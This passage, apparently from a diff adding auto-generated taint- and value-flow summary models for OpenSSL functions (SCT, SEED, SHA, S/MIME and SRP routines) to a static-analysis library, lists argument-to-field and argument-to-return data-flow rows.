"SCT_get_validation_status", "(const SCT *)", "", "Argument[*0].Field[*validation_status]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SCT_get_version", "(const SCT *)", "", "Argument[*0].Field[*version]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SCT_is_complete", "(const SCT *)", "", "Argument[*0].Field[*sct]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "SCT_new_from_base64", "(unsigned char,const char *,ct_log_entry_type_t,uint64_t,const char *,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[**log_id]", "taint", "dfc-generated"] + - ["", "", True, "SCT_new_from_base64", "(unsigned char,const char *,ct_log_entry_type_t,uint64_t,const char *,const char *)", "", "Argument[*4]", "ReturnValue[*].Field[**ext]", "taint", "dfc-generated"] + - ["", "", True, "SCT_new_from_base64", "(unsigned char,const char *,ct_log_entry_type_t,uint64_t,const char *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[*version]", "value", "dfc-generated"] + - ["", "", True, "SCT_new_from_base64", "(unsigned char,const char *,ct_log_entry_type_t,uint64_t,const char *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[**log_id]", "taint", "dfc-generated"] + - ["", "", True, "SCT_new_from_base64", "(unsigned char,const char *,ct_log_entry_type_t,uint64_t,const char *,const char *)", "", "Argument[2]", "ReturnValue[*].Field[*entry_type]", "value", "dfc-generated"] + - ["", "", True, "SCT_new_from_base64", "(unsigned char,const char *,ct_log_entry_type_t,uint64_t,const char *,const char *)", "", "Argument[3]", "ReturnValue[*].Field[*timestamp]", "value", "dfc-generated"] + - ["", "", True, "SCT_new_from_base64", "(unsigned char,const char *,ct_log_entry_type_t,uint64_t,const char *,const char *)", "", "Argument[4]", "ReturnValue[*].Field[**ext]", "taint", "dfc-generated"] + - ["", "", True, "SCT_set0_extensions", "(SCT *,unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[**ext]", "value", "dfc-generated"] + - ["", "", True, "SCT_set0_extensions", "(SCT *,unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[*ext]", "value", "dfc-generated"] + - ["", "", True, "SCT_set0_extensions", "(SCT *,unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*ext_len]", "value", "dfc-generated"] + - ["", "", True, "SCT_set0_log_id", "(SCT *,unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[**log_id]", "value", "dfc-generated"] + - ["", "", True, "SCT_set0_log_id", "(SCT *,unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[*log_id]", "value", "dfc-generated"] + - ["", "", True, "SCT_set0_log_id", "(SCT *,unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*log_id_len]", "value", "dfc-generated"] + - ["", "", True, "SCT_set0_signature", "(SCT *,unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[**sig]", "value", "dfc-generated"] + - ["", "", True, "SCT_set0_signature", "(SCT *,unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[*sig]", "value", "dfc-generated"] + - ["", "", True, "SCT_set0_signature", "(SCT *,unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*sig_len]", "value", "dfc-generated"] + - ["", "", True, "SCT_set1_extensions", "(SCT *,const unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[**ext]", "value", "dfc-generated"] + - ["", "", True, "SCT_set1_extensions", "(SCT *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[**ext]", "taint", "dfc-generated"] + - ["", "", True, "SCT_set1_extensions", "(SCT *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*ext_len]", "value", "dfc-generated"] + - ["", "", True, "SCT_set1_log_id", "(SCT *,const unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[**log_id]", "value", "dfc-generated"] + - ["", "", True, "SCT_set1_log_id", "(SCT *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[**log_id]", "taint", "dfc-generated"] + - ["", "", True, "SCT_set1_log_id", "(SCT *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*log_id_len]", "value", "dfc-generated"] + - ["", "", True, "SCT_set1_signature", "(SCT *,const unsigned char *,size_t)", "", "Argument[*1]", "Argument[*0].Field[**sig]", "value", "dfc-generated"] + - ["", "", True, "SCT_set1_signature", "(SCT *,const unsigned char *,size_t)", "", "Argument[1]", "Argument[*0].Field[**sig]", "taint", "dfc-generated"] + - ["", "", True, "SCT_set1_signature", "(SCT *,const unsigned char *,size_t)", "", "Argument[2]", "Argument[*0].Field[*sig_len]", "value", "dfc-generated"] + - ["", "", True, "SCT_set_log_entry_type", "(SCT *,ct_log_entry_type_t)", "", "Argument[1]", "Argument[*0].Field[*entry_type]", "value", "dfc-generated"] + - ["", "", True, "SCT_set_source", "(SCT *,sct_source_t)", "", "Argument[1]", "Argument[*0].Field[*source]", "value", "dfc-generated"] + - ["", "", True, "SCT_set_timestamp", "(SCT *,uint64_t)", "", "Argument[1]", "Argument[*0].Field[*timestamp]", "value", "dfc-generated"] + - ["", "", True, "SCT_set_version", "(SCT *,sct_version_t)", "", "Argument[1]", "Argument[*0].Field[*version]", "value", "dfc-generated"] + - ["", "", True, "SEED_cbc_encrypt", "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SEED_cbc_encrypt", "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int)", "", "Argument[*0]", "Argument[*4]", "value", "dfc-generated"] + - ["", "", True, "SEED_cbc_encrypt", "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int)", "", "Argument[*1]", "Argument[*4]", "value", "dfc-generated"] + - ["", "", True, "SEED_cbc_encrypt", "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int)", "", "Argument[*3].Field[*data]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SEED_cbc_encrypt", "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int)", "", "Argument[*3].Field[*data]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "SEED_cbc_encrypt", "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int)", "", "Argument[*4]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "SEED_cbc_encrypt", "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SEED_cbc_encrypt", "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int)", "", "Argument[0]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "SEED_cbc_encrypt", "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SEED_cbc_encrypt", "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int)", "", "Argument[1]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "SEED_cbc_encrypt", "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int)", "", "Argument[4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SEED_cbc_encrypt", "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "SEED_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *,int)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SEED_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *,int)", "", "Argument[*0]", "Argument[*4]", "value", "dfc-generated"] + - ["", "", True, "SEED_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *,int)", "", "Argument[*3].Field[*data]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SEED_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *,int)", "", "Argument[*3].Field[*data]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "SEED_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *,int)", "", "Argument[*4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SEED_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *,int)", "", "Argument[*5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SEED_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *,int)", "", "Argument[*5]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "SEED_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *,int)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SEED_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *,int)", "", "Argument[0]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "SEED_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SEED_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *,int)", "", "Argument[4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SEED_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *,int)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "SEED_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *,int)", "", "Argument[5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SEED_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *,int)", "", "Argument[5]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "SEED_cfb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *,int)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "SEED_decrypt", "(const unsigned char[16],unsigned char[16],const SEED_KEY_SCHEDULE *)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SEED_decrypt", "(const unsigned char[16],unsigned char[16],const SEED_KEY_SCHEDULE *)", "", "Argument[*2].Field[*data]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SEED_decrypt", "(const unsigned char[16],unsigned char[16],const SEED_KEY_SCHEDULE *)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SEED_ecb_encrypt", "(const unsigned char *,unsigned char *,const SEED_KEY_SCHEDULE *,int)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SEED_ecb_encrypt", "(const unsigned char *,unsigned char *,const SEED_KEY_SCHEDULE *,int)", "", "Argument[*2].Field[*data]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SEED_ecb_encrypt", "(const unsigned char *,unsigned char *,const SEED_KEY_SCHEDULE *,int)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SEED_encrypt", "(const unsigned char[16],unsigned char[16],const SEED_KEY_SCHEDULE *)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SEED_encrypt", "(const unsigned char[16],unsigned char[16],const SEED_KEY_SCHEDULE *)", "", "Argument[*2].Field[*data]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SEED_encrypt", "(const unsigned char[16],unsigned char[16],const SEED_KEY_SCHEDULE *)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SEED_ofb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SEED_ofb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *)", "", "Argument[*3].Field[*data]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SEED_ofb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *)", "", "Argument[*3].Field[*data]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "SEED_ofb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *)", "", "Argument[*4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SEED_ofb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *)", "", "Argument[*5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SEED_ofb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SEED_ofb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SEED_ofb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *)", "", "Argument[4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SEED_ofb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "SEED_ofb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *)", "", "Argument[5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "SEED_ofb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const SEED_KEY_SCHEDULE *,unsigned char[16],int *)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "SEED_set_key", "(const unsigned char[16],SEED_KEY_SCHEDULE *)", "", "Argument[*0]", "Argument[*1].Field[*data]", "taint", "dfc-generated"] + - ["", "", True, "SEED_set_key", "(const unsigned char[16],SEED_KEY_SCHEDULE *)", "", "Argument[0]", "Argument[*1].Field[*data]", "taint", "dfc-generated"] + - ["", "", True, "SHA1", "(const unsigned char *,size_t,unsigned char *)", "", "Argument[*2]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SHA1", "(const unsigned char *,size_t,unsigned char *)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SHA1_Final", "(unsigned char *,SHA_CTX *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "SHA1_Update", "(SHA_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*Nh]", "taint", "dfc-generated"] + - ["", "", True, "SHA1_Update", "(SHA_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*Nl]", "taint", "dfc-generated"] + - ["", "", True, "SHA1_Update", "(SHA_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*num]", "value", "dfc-generated"] + - ["", "", True, "SHA224", "(const unsigned char *,size_t,unsigned char *)", "", "Argument[*2]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SHA224", "(const unsigned char *,size_t,unsigned char *)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SHA224_Final", "(unsigned char *,SHA256_CTX *)", "", "Argument[*1].Field[*h]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "SHA224_Final", "(unsigned char *,SHA256_CTX *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "SHA224_Update", "(SHA256_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*Nh]", "taint", "dfc-generated"] + - ["", "", True, "SHA224_Update", "(SHA256_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*Nl]", "taint", "dfc-generated"] + - ["", "", True, "SHA224_Update", "(SHA256_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*num]", "value", "dfc-generated"] + - ["", "", True, "SHA256", "(const unsigned char *,size_t,unsigned char *)", "", "Argument[*2]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SHA256", "(const unsigned char *,size_t,unsigned char *)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SHA256_Final", "(unsigned char *,SHA256_CTX *)", "", "Argument[*1].Field[*h]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "SHA256_Final", "(unsigned char *,SHA256_CTX *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "SHA256_Update", "(SHA256_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*Nh]", "taint", "dfc-generated"] + - ["", "", True, "SHA256_Update", "(SHA256_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*Nl]", "taint", "dfc-generated"] + - ["", "", True, "SHA256_Update", "(SHA256_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*num]", "value", "dfc-generated"] + - ["", "", True, "SHA384", "(const unsigned char *,size_t,unsigned char *)", "", "Argument[*2]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SHA384", "(const unsigned char *,size_t,unsigned char *)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SHA384_Final", "(unsigned char *,SHA512_CTX *)", "", "Argument[*1].Field[*h]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "SHA384_Final", "(unsigned char *,SHA512_CTX *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "SHA384_Update", "(SHA512_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*Nh]", "taint", "dfc-generated"] + - ["", "", True, "SHA384_Update", "(SHA512_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*Nl]", "taint", "dfc-generated"] + - ["", "", True, "SHA384_Update", "(SHA512_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*num]", "value", "dfc-generated"] + - ["", "", True, "SHA512", "(const unsigned char *,size_t,unsigned char *)", "", "Argument[*2]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "SHA512", "(const unsigned char *,size_t,unsigned char *)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "SHA512_Final", "(unsigned char *,SHA512_CTX *)", "", "Argument[*1].Field[*h]", "Argument[*0]", "value", "dfc-generated"] + - ["", "", True, "SHA512_Final", "(unsigned char *,SHA512_CTX *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "SHA512_Update", "(SHA512_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*Nh]", "taint", "dfc-generated"] + - ["", "", True, "SHA512_Update", "(SHA512_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*Nl]", "taint", "dfc-generated"] + - ["", "", True, "SHA512_Update", "(SHA512_CTX *,const void *,size_t)", "", "Argument[2]", "Argument[*0].Field[*num]", "value", "dfc-generated"] + - ["", "", True, "SM2_Ciphertext_free", "(SM2_Ciphertext *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "SM2_Ciphertext_free", "(SM2_Ciphertext *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "SMIME_crlf_copy", "(BIO *,BIO *,int)", "", "Argument[1]", "Argument[*1].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "SMIME_read_ASN1", "(BIO *,BIO **,const ASN1_ITEM *)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "SMIME_read_ASN1_ex", "(BIO *,int,BIO **,const ASN1_ITEM *,ASN1_VALUE **,OSSL_LIB_CTX *,const char *)", "", "Argument[**4]", "Argument[*4]", "value", "df-generated"] + - ["", "", True, "SMIME_read_ASN1_ex", "(BIO *,int,BIO **,const ASN1_ITEM *,ASN1_VALUE **,OSSL_LIB_CTX *,const char *)", "", "Argument[**4]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "SMIME_read_ASN1_ex", "(BIO *,int,BIO **,const ASN1_ITEM *,ASN1_VALUE **,OSSL_LIB_CTX *,const char *)", "", "Argument[**4]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "SMIME_read_ASN1_ex", "(BIO *,int,BIO **,const ASN1_ITEM *,ASN1_VALUE **,OSSL_LIB_CTX *,const char *)", "", "Argument[*4]", "Argument[**4]", "value", "df-generated"] + - ["", "", True, "SMIME_read_ASN1_ex", "(BIO *,int,BIO **,const ASN1_ITEM *,ASN1_VALUE **,OSSL_LIB_CTX *,const char *)", "", "Argument[*4]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "SMIME_read_ASN1_ex", "(BIO *,int,BIO **,const ASN1_ITEM *,ASN1_VALUE **,OSSL_LIB_CTX *,const char *)", "", "Argument[*4]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "SMIME_read_ASN1_ex", "(BIO *,int,BIO **,const ASN1_ITEM *,ASN1_VALUE **,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "SMIME_read_ASN1_ex", "(BIO *,int,BIO **,const ASN1_ITEM *,ASN1_VALUE **,OSSL_LIB_CTX *,const char *)", "", "Argument[4]", "Argument[**4]", "value", "df-generated"] + - ["", "", True, "SMIME_read_ASN1_ex", "(BIO *,int,BIO **,const ASN1_ITEM *,ASN1_VALUE **,OSSL_LIB_CTX *,const char *)", "", "Argument[4]", "Argument[*4]", "value", "df-generated"] + - ["", "", True, "SMIME_read_ASN1_ex", "(BIO *,int,BIO **,const ASN1_ITEM *,ASN1_VALUE **,OSSL_LIB_CTX *,const char *)", "", "Argument[4]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "SMIME_read_ASN1_ex", "(BIO *,int,BIO **,const ASN1_ITEM *,ASN1_VALUE **,OSSL_LIB_CTX *,const char *)", "", "Argument[4]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "SMIME_read_CMS", "(BIO *,BIO **)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "SMIME_read_CMS_ex", "(BIO *,int,BIO **,CMS_ContentInfo **)", "", "Argument[**3]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "SMIME_read_CMS_ex", "(BIO *,int,BIO **,CMS_ContentInfo **)", "", "Argument[**3]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "SMIME_read_CMS_ex", "(BIO *,int,BIO **,CMS_ContentInfo **)", "", "Argument[**3]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "SMIME_read_CMS_ex", "(BIO *,int,BIO **,CMS_ContentInfo **)", "", "Argument[*3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "SMIME_read_CMS_ex", "(BIO *,int,BIO **,CMS_ContentInfo **)", "", "Argument[*3]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "SMIME_read_CMS_ex", "(BIO *,int,BIO **,CMS_ContentInfo **)", "", "Argument[*3]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "SMIME_read_CMS_ex", "(BIO *,int,BIO **,CMS_ContentInfo **)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "SMIME_read_CMS_ex", "(BIO *,int,BIO **,CMS_ContentInfo **)", "", "Argument[3]", "Argument[**3]", "value", "df-generated"] + - ["", "", True, "SMIME_read_CMS_ex", "(BIO *,int,BIO **,CMS_ContentInfo **)", "", "Argument[3]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "SMIME_read_CMS_ex", "(BIO *,int,BIO **,CMS_ContentInfo **)", "", "Argument[3]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "SMIME_read_CMS_ex", "(BIO *,int,BIO **,CMS_ContentInfo **)", "", "Argument[3]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "SMIME_read_PKCS7", "(BIO *,BIO **)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "SMIME_read_PKCS7_ex", "(BIO *,BIO **,PKCS7 **)", "", "Argument[**2]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "SMIME_read_PKCS7_ex", "(BIO *,BIO **,PKCS7 **)", "", "Argument[**2]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "SMIME_read_PKCS7_ex", "(BIO *,BIO **,PKCS7 **)", "", "Argument[**2]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "SMIME_read_PKCS7_ex", "(BIO *,BIO **,PKCS7 **)", "", "Argument[*2]", "Argument[**2]", "value", "df-generated"] + - ["", "", True, "SMIME_read_PKCS7_ex", "(BIO *,BIO **,PKCS7 **)", "", "Argument[*2]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "SMIME_read_PKCS7_ex", "(BIO *,BIO **,PKCS7 **)", "", "Argument[*2]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "SMIME_read_PKCS7_ex", "(BIO *,BIO **,PKCS7 **)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "SMIME_read_PKCS7_ex", "(BIO *,BIO **,PKCS7 **)", "", "Argument[2]", "Argument[**2]", "value", "df-generated"] + - ["", "", True, "SMIME_read_PKCS7_ex", "(BIO *,BIO **,PKCS7 **)", "", "Argument[2]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "SMIME_read_PKCS7_ex", "(BIO *,BIO **,PKCS7 **)", "", "Argument[2]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "SMIME_read_PKCS7_ex", "(BIO *,BIO **,PKCS7 **)", "", "Argument[2]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "SMIME_write_ASN1", "(BIO *,ASN1_VALUE *,BIO *,int,int,int,stack_st_X509_ALGOR *,const ASN1_ITEM *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "SMIME_write_ASN1", "(BIO *,ASN1_VALUE *,BIO *,int,int,int,stack_st_X509_ALGOR *,const ASN1_ITEM *)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "SMIME_write_ASN1_ex", "(BIO *,ASN1_VALUE *,BIO *,int,int,int,stack_st_X509_ALGOR *,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "SMIME_write_ASN1_ex", "(BIO *,ASN1_VALUE *,BIO *,int,int,int,stack_st_X509_ALGOR *,const ASN1_ITEM *,OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "SMIME_write_CMS", "(BIO *,CMS_ContentInfo *,BIO *,int)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "SMIME_write_CMS", "(BIO *,CMS_ContentInfo *,BIO *,int)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "SMIME_write_PKCS7", "(BIO *,PKCS7 *,BIO *,int)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "SMIME_write_PKCS7", "(BIO *,PKCS7 *,BIO *,int)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "SRP_Calc_A", "(const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*1]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "SRP_Calc_A", "(const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "SRP_Calc_A", "(const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*2]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "SRP_Calc_B", "(const BIGNUM *,const BIGNUM *,const BIGNUM *,const BIGNUM *)", "", "Argument[*1]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "SRP_Calc_B", "(const 